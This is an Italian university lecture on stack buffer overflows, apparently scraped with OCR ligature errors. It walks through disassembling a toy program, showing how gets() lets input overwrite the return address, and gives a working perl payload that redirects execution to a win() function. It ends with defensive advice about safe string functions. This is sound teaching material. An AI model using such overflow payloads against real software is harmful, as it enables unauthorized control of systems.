A#acchi Base: Buffer Overflow

Похожие документы
Stack-based buffer overflow

Caratteri e stringhe

Istruzioni di trasferimento dati

La protezione dai memory error exploit

Lezione 6 Introduzione al C++ Mauro Piccolo

Fortran in pillole : prima parte

Il linguaggio di programmazione Python

Primi passi col linguaggio C

C: panoramica. Violetta Lonati

9 - Array. Programmazione e analisi di dati Modulo A: Programmazione in Java. Paolo Milazzo

INTRODUZIONE ALLA PROGRAMMAZIONE

Esercitazioni di Informatica (CIV)

Errori frequenti Cicli iterativi Array. Cicli e array. Laboratorio di Programmazione I. Corso di Laurea in Informatica A.A.

Esercitazione 4. Comandi iterativi for, while, do-while

Assembly. Modello x86

Perché il linguaggio C?

6 - Blocchi e cicli. Programmazione e analisi di dati Modulo A: Programmazione in Java. Paolo Milazzo

L ambiente di simulazione SPIM

Reverse engineering: disassembly

I CARATTERI E LE STRINGHE

19 - Eccezioni. Programmazione e analisi di dati Modulo A: Programmazione in Java. Paolo Milazzo

7 - Programmazione procedurale: Dichiarazione e chiamata di metodi ausiliari

Un esempio per iniziare. Il controllo del programma in C. Altri cenni su printf() Esercizi (printf) printf( 8!=%d, fatt);

Strumenti per l Analisi Statica e Dinamica di Eseguibili

Processore Danilo Dessì. Architettura degli Elaboratori.

La programmazione in linguaggio C

5 - Istruzioni condizionali

Spazio di indirizzamento virtuale

Lezione 21 e 22. Valentina Ciriani ( ) Laboratorio di programmazione. Laboratorio di programmazione. Lezione 21 e 22

Struttura di programmi MAL Elementi lessicali

perror: individuare l errore quando una system call restituisce -1

Programmazione Assembly per 8088: Esercizi svolti

ERRATA CORRIGE. void SvuotaBuffer(void); void SvuotaBuffer(void) { if(getchar()!=10) {svuotabuffer();} }

Informatica B. Sezione D. Scuola di Ingegneria Industriale Laurea in Ingegneria Energetica Laurea in Ingegneria Meccanica

Format String Vulnerability

Il linguaggio C. Puntatori e dintorni

Il set istruzioni di MIPS Modalità di indirizzamento. Proff. A. Borghese, F. Pedersini

Una stringa di caratteri in C è un array di caratteri terminato dal carattere '\0' a p e \0

Avviate l interprete Python selezionandolo dal menu dei programmi. Una volta avviato, l interprete presenta un cursore in cui inserire comandi

Reverse engineering: disassembly

Lezione 17: Indirizzamento della memoria LC-3

ESERCIZIO 1 Si consideri la seguente funzione f (A, B, C, D) non completamente specificata definita attraverso il suo ON-SET e DC-SET:

L insieme delle istruzioni (6)

Laboratorio di Programmazione: Linguaggio C Lezione 9 del 27 novembre 2013

Set di istruzioni Z80 (quarta parte) Pagina 1 di 9 ISTRUZIONI DI SALTO

Costanti e Variabili

Lezione 15 Il Set di Istruzioni (1)

LA CODIFICA DELL INFORMAZIONE

Interazione con il DOS e il BIOS

Il sistema C è formato dal linguaggio C, dal preprocessore, dal compilatore, dalle librerie e da altri strumenti di supporto.

Laboratorio di Architettura lezione 5. Massimo Marchiori W3C/MIT/UNIVE

Input/output da file I/O ANSI e I/O UNIX FLUSSI E FILE FLUSSI FLUSSI di TESTO FLUSSI BINARI FILE

Funzioni, Stack e Visibilità delle Variabili in C

Le basi del linguaggio Java

Problema: dati i voti di tutti gli studenti di una classe determinare il voto medio della classe.

Architettura di un calcolatore: Introduzione parte 2

Corso di Sicurezza Informatica

Array in Fortran 90. Ing. Luca De Santis. Anno accademico 2006/2007. DIS - Dipartimento di informatica e sistemistica

Istruzioni macchina. Dove sono gli operandi? Ciclo della CPU. Elementi di un istruzione macchina. Rappresentazione delle istruzioni

1 Combinazioni lineari.

Транскрипт:

Pattern Recognition and Applications Lab A#acchi Base: Buffer Overflow Do#. Ing. Davide Maiorca, Ph.D. davide.maiorca@diee.unica.it Corso di Sicurezza Informa<ca A.A. 2015/2016 Dipartimento di Ingegneria Elettrica ed Elettronica Università di Cagliari, Italia

Sommario Introduzione Analisi di un Programma Vulnerabile Altri Elemen< Assembly Analisi funzioni Exploi8ng Analisi dello stack vulnerabile A#acco allo stack Contromisure

Introduzione

Introduzione Vulnerabilità Finora abbiamo analizzato un eseguibile senza possederne il suo sorgente La prossima domanda è: che relazione ha il reverse engineering con la sicurezza? Un a*accante può analizzare un eseguibile al fine di trovare delle vulnerabilità Una vulnerabilità è un errore di programmazione il cui sfrueamento può portare ad una violazione di integrità e confidenzialità di un sistema Sono state date tante definizioni di vulnerabilità (ISO, NIST, ENISA ) Avete già visto degli esempi Cross Site Scrip<ng SQL Injec<on In questa lezione analizzeremo la vulnerabilità «regina» legata all esecuzione di un programma, ovvero il buffer overflow

Introduzione Buffer Overflow Vulnerabilità concernente la ges:one della memoria e, in par8colare, una carva ges8one dello stack Potete già immaginare di cosa si trar dal nome Un buffer è una zona di memoria pensata per contenere dei da8 La par8colarità di questa zona è che la dimensione dei da8 è prefissata L esempio più classico di buffer è, ad esempio, un array Un overflow accade quando inseriamo dei da8 che superano la capacità del buffer Banalmente: inserite in memoria una stringa di 5 caraeeri in un buffer di 4 caraeeri CIAOO -> C I A O O char str[3] OVERFLOW!

Challenge! Aprite il programma «invincibile» Dovete indovinare il codice segreto! Ma l impresa non sembra così semplice Per «sconfiggere» il programma «invincibile» ci serve un cambio di prospe=va Chiediamoci: il programma è sicuro? In questa lezione imparerete cosa può succedere quando un programma è vulnerabile ad un buffer overflow In par8colare, imparerete a sfrueare un buffer overflow a vostro vantaggio Anche i programmi invincibili (ma insicuri ) possono essere sconfir!

Analisi Programma Vulnerabile

DISCLAIMER I VALORI DEI REGISTRI (ebp, esp, eax ) POSSONO ESSERE DIVERSI A SECONDA DELLA VOSTRA ARCHITETTURA E VENGONO RIPORTATI SULLE SLIDES QUELLI OTTENUTI DALLA MACCHINA VIRTUALE USATA A LEZIONE

Analisi Programma (prima occhiata) Il programma vi chiede di inserire un codice di massimo 3 cifre Notate come il codice sia sempre errato (a meno di clamorosi colpi di fortuna ) Il massimo di 3 cifre dovrebbe stuzzicarvi Cosa succede se inserite più di 3 cifre? Proviamo con 5-10 cifre Apparentemente non succede niente Adesso proviamo con 15 cifre Perdete comunque Ma ricevete un errore di segmenta8on fault! Segmenta8on fault avviene quando il programma tenta di scrivere dei da8 in memoria in segmen8 non per:nen: Ad esempio, tento di scrivere in un segmento che non dispone del flag w Questo errore non dovrebbe mai comparire E il primo indizio che il programma possa essere vulnerabile!

Analisi Sta<ca Programma Vediamo di disassemblare l eseguibile objdump d invincible Come prima, cerchiamo di individuare delle funzioni che abbiano dei nomi interessan: main inserire_codice genera_codice win lose Adesso guardiamo la funzione main, in par8colare le chiamate call Vediamo quest ordine di chiamate: genera_codice puts inserire_codice win lose

Elemen< di Assembly X86 (2) Altre istruzioni JMP <offset>: Salto non condizionato CMP: Confronta i contenu< di due registri (o regis< e memoria) ed imposta un flag speciale a 1 se i due elemen< hanno lo stesso valore JNE <offset> (di solito accoppiato con cmp): salta all offset se il flag speciale è impostato a zero (quindi se i due elemen< confronta< con cmp non sono uguali) JEQ <offset> (di solito accoppiato con cmp): salta all offset se il flag speciale è impostato a uno (quindi se i due elemen< confronta< con cmp sono uguali) LEA address, register: carica un indirizzo di memoria su un registro SAR, n_bit, reg: esegue uno shie di n bit sul valore del registro reg IMUL, reg, value: mol<plica il valore contenuto di un registro per un valore intero

Analisi Main (1) Naturalmente, guardare la sequenza di chiamate non è sufficiente! 08048597 <main>: 8048597: push %ebp 8048598: mov %esp,%ebp 804859a: and $0xfffffff0,%esp 804859d: sub $0x20,%esp 80485a0: call 8048521 <genera_codice> 80485a5: mov %eax,0x18(%esp) 80485a9: movl $0x80486ac,(%esp) 80485b0: call 80483a0 <puts@plt> 80485b5: call 80484fd <inserire_codice> 80485ba: mov %eax,0x1c(%esp) Prepara la chiamata di funzioni Chiama <genera_codice> e salva il risultato nello stack (su esp+0x18) Memorizza la stringa parametro nello stack e chiama puts su quella stringa Chiama <inserire_codice> e memorizza il risultato nello stack (su esp+0x1c)

Analisi Main (2) Naturalmente, guardare la sequenza di chiamate non è sufficiente! 80485be: mov 0x1c(%esp),%eax 80485c2: cmp 0x18(%esp),%eax Confronta il risultato di <inserire_codice> (messo su eax) e <genera_codice> (preso dallo stack) 80485c6: jne 80485cf <main+0x38> 80485c8: call 804856f <win> 80485cd: jmp 80485d4 <main+0x3d> 80485cf: call 8048583 <lose> 80485d4: mov $0x0,%eax Se il risultato del confronto non è pari a 1 (quindi i due elemen8 sono uguali), vai alla funzione lose ALTRIMENTI CONTINUA L ESECUZIONE con win e SALTA ALL ULTIMA mov (E sostanzialmente l equivalente di un if-else in C, soltanto espresso in maniera leggermente diversa)

Funzioni win e lose Quindi: il main chiama due funzioni che res8tuiscono due valori Ques8 valori vengono confronta8 E a seconda del confronto vengono chiamate due funzioni diverse! Considerato il funzionamento del programma, possiamo supporre che se il codice è correeo viene chiamata win, altrimen8 lose Osserviamo l assembly delle funzioni win e lose Sostanzialmente sono due puts! Quindi le funzioni win e lose si occupano di stampare un messaggio a video! win agisce sulla stringa all indirizzo 0x8048670, mentre lose agisce sulla stringa all indirizzo 0x804868c

Dump stringhe Eseguite objdump s invicible. Potete vedere quello che è, fondamentalmente, l hexdump del file raggruppato per sezioni 0x8048670 (stringa funzione win) Contenuto della sezione.rodata: 8048668 03000000 01000200 48616920 76696e74...Hai vint 8048678 6f212043 6f646963 6520636f 72726574 o! Codice corret 8048688 746f2100 48616920 70657273 6f212049 to!.hai perso! I 8048698 6c20636f 64696365 20c3a820 65727261 l codice.. erra 80486a8 746f2100 496e7365 72697265 20636f64 to!.inserire cod 80486b8 69636520 286d6173 73696d6f 20332063 ice (massimo 3 c 80486c8 69667265 2e2e2e29 3a00 ifre...):. 0x804868c (stringa funzione lose) Indirizzo primo byte della riga Ora sappiamo cosa stampano le funzioni win e lose! Di conseguenza, nell esecuzione del programma arriviamo sempre alla funzione lose!

Funzione genera_codice Restano da analizzare genera_codice ed inserire_codice genera_codice è una funzione molto lunga! Non ne vedremo i deeagli per ragioni di tempo Potreste studiarvela come esercizio J Vengono chiamate le funzioni 8me, srand e rand Molto probabilmente è coinvolta la generazione di un numero casuale ed effervamente è proprio così! Genera codice genera un valore casuale fra 0 e 999 (compresi) Quindi ogni volta che eseguite il programma il codice è sempre diverso! Un po difficile, così, raggiungere la funzione win A meno di grossi colpi di fortuna, raggiungerete sempre la funzione lose! A meno che

Funzione inserire_codice Cosa possiamo dire della funzione inserire_codice? push %ebp mov %esp,%ebp sub $0x28,%esp lea -0xf(%ebp),%eax mov %eax,(%esp) call 8048380 <gets@plt> lea -0xf(%ebp),%eax mov %eax,(%esp) call 80483f0 <atoi@plt> mov %eax,-0xc(%ebp) mov -0xc(%ebp),%eax Libera memoria per la chiamata di funzioni Carica l indirizzo di memoria puntato da ebp-0xf sul registro eax, muove il contenuto di eax SULLA LOCAZIONE PUNTATA DA ESP (aeenzione alle parentesi su %esp) e chiama gets Come per gets, ma questa volta viene chiamata la funzione atoi. Il risultato viene salvato in una variabile locale (la mov) e viene poi «ricaricato» nel registro accumulatore

Exploi8ng

Funzione inserire_codice - Stack Stack Frame (Per la funzione inserire codice) main Return ADDRESS EBP Precedente EBP lea -0xf(%ebp),%eax mov %eax,(%esp) esp = 0xbffff000 ebp = 0xbffff028 ebp-0xf = 0xbffff019 EBP 0xf EBP 0xf ESP Questa è l esecuzione dello stack dopo la mov prima della chiamata di gets. Lo stack è stato «accorciato» per mo<vi di spazio. Quando viene chiamata la gets, viene inserito nello stack, come parametro, l indirizzo di base dell array. L array verrà quindi memorizzato a par<re da EBP-0xf. Nota bene: non è deeo che l indirizzo di partenza dell array sia necessariamente un mul8plo di 4

Funzione inserire_codice Stack (2) Stack Frame (Per la funzione inserire codice) main Return ADDRESS EBP Precedente 0 3 2 EBP 0xf 1 EBP lea -0xf(%ebp),%eax mov %eax,(%esp) call 8048380 <gets@plt> esp = 0xbffff000 ebp = 0xbffff028 ebp-0xf = 0xbffff019 ESP EBP 0xf Quando gets viene chiamata, l utente deve inserire dei cara#eri da tas<era. Il risultato è un array di char, in cui ogni char è composto da un byte. Immaginiamo che l utente inserisca la stringa «123» (l array è stato dichiarato da tre caraeeri ma l utente NON lo sa). Ricordatevi che, a causa del li#le endian, il primo numero copre l indirizzo INFERIORE dello stack

Funzione inserire_codice Overflow! Stack Frame (Per la funzione inserire codice) main Return ADDRESS EBP Precedente 6 5 4 3 2 EBP 0xf 1 EBP lea -0xf(%ebp),%eax mov %eax,(%esp) call 8048380 <gets@plt> esp = 0xbffff000 ebp = 0xbffff028 ebp-0xf = 0xbffff019 La funzione gets non effe#ua alcun controllo sulla dimensione dell array. Cioè significa che array più grandi della dimensione dichiarata possono essere scrir in memoria. Ad esempio, questo è cosa succede se inserite «123456». SIETE LIBERI DI RIEMPIRE LO STACK A VOSTRO PIACIMENTO. ESP EBP 0xf

EBP 0xf Funzione inserire_codice A#acco Stack Frame (Per la funzione inserire codice) win Address Da< Sovrascrir Da< Sovrascrir 6 5 4 3 2 1 EBP lea -0xf(%ebp),%eax mov %eax,(%esp) call 8048380 <gets@plt> esp = 0xbffff000 ebp = 0xbffff028 ebp-0xf = 0xbffff019 ESP EBP 0xf Siamo liberi di riempire lo stack come vogliamo. Normalmente questo porterebbe a degli errori di segmenta<on fault Ma cosa succedesse se fossimo così bravi da riempire lo stack in maniera controllata, in modo da sovrascrivere il return address con un altro indirizzo? Potremmo, ad esempio, saltare direeamente alla funzione win

All a#acco! Nella pra8ca questo aeacco è assolutamente possibile gdb invincible break 0*8048509 Ci s8amo fermando prima che la funzione gets venga chiamata Info registers ebp ebp = 0xbffff028 Sono gli stessi valori segna8 nelle slide preceden8 Dall analisi sta8ca, sappiamo che l array inizia da ebp-0xf. Per arrivare a ridosso dell indirizzo di ritorno, dobbiamo quindi riempire lo stack con 0xf (15) + 4 bytes = 19 bytes L aeuale indirizzo di ritorno si trova ad ebp+4 0x080485ba (prossima istruzione del main) ObieRvo finale: sos8tuire l indirizzo di ritorno con l indirizzo di win In questo esempio è 0x0804856f (dovete sovrascrivere l intero indirizzo!)

All a#acco! (2) Quindi, quando gets vi richiede di inserire i da8 Dovete prima di tueo inserire 19 bytes La prima parte della stringa può essere, ad esempio, 1111111111111111111 Ora dovete assicurarvi di inserire in memoria i bytes per sovrascrivere l indirizzo di ritorno Dovete inserire i bytes in questo modo: \xbyte RispeEate la liele endianess (a due a due). PRIMA GLI ULTIMI DUE VALORI, POI I PENULTIMI DUE, etc. Quindi: \x6f\x85\x04\x08 La stringa finale da inserire dovrebbe essere: 1111111111111111111\x6f \x85\x04\x08 TuEavia, qualcosa ancora non va Se inserite questa stringa, avrete ancora segmenta8on fault L

EXPLOIT! La ragione è da ricercarsi nel faeo che il programma prende in ingresso dei caraeeri Ogni valore esadecimale ha una traduzione in caraeeri Sfortunatamente, alcuni non possono essere inseri8 da tas8era L Per ovviare al problema, ci viene in aiuto la funzione print del linguaggio perl Potete usare questo interprete per tradurre in automa8co degli esadecimali in caraeeri non inseribili dall utente Un buon modo per fare questo è: Scrivere i caraeeri su un file temporaneo Al momento dell esecuzione, dire al programma di trasferire lo standard input da tas8era a file Quindi chiudete gdb ed eseguite perl -e 'print "1"x19; print "\x6f \x85\x04\x08";' > /tmp/input Con perl si possono facilmente ripetere i caraeeri con print «caraeere»*numero Ogni istruzione perl è separata, come il C, da un punto e virgola (state quindi eseguendo due istruzioni > /tmp/input scrive su file

Epic Win!./invincible < /tmp/input

Come difendersi? (in questo caso) Questo è il caso più semplice di buffer overflow Per difendersi, bisogna evitare di u8lizzare funzioni che non effeeuano il controllo sulla dimensione degli array gets strcpy sprinw Sono tuee funzioni vulnerabili! U8lizzate, invece, funzioni che effeeuano il controllo sulla dimensione degli array fgets strncpy snprin In ogni caso, compilatori come gcc vi avvisano se state usando delle funzioni «vulnerabili»

In conclusione L analisi di una applicazione vulnerabile consente di effeeuare dei poten8 aeacchi, come il buffer overflow Tali aeacchi possono far avere all applicazione dei comportamen8 «anomali» TuEavia, questo ancora non basta Un buffer overflow più avanzato potrebbe essere usato per creare ancora più danni ad esempio, può consen8re di prendere il controllo di una macchina Linux (o Windows) Nella prossima lezione vedremo un esempio di tale aeacco ed esploreremo tecniche di difesa più complesse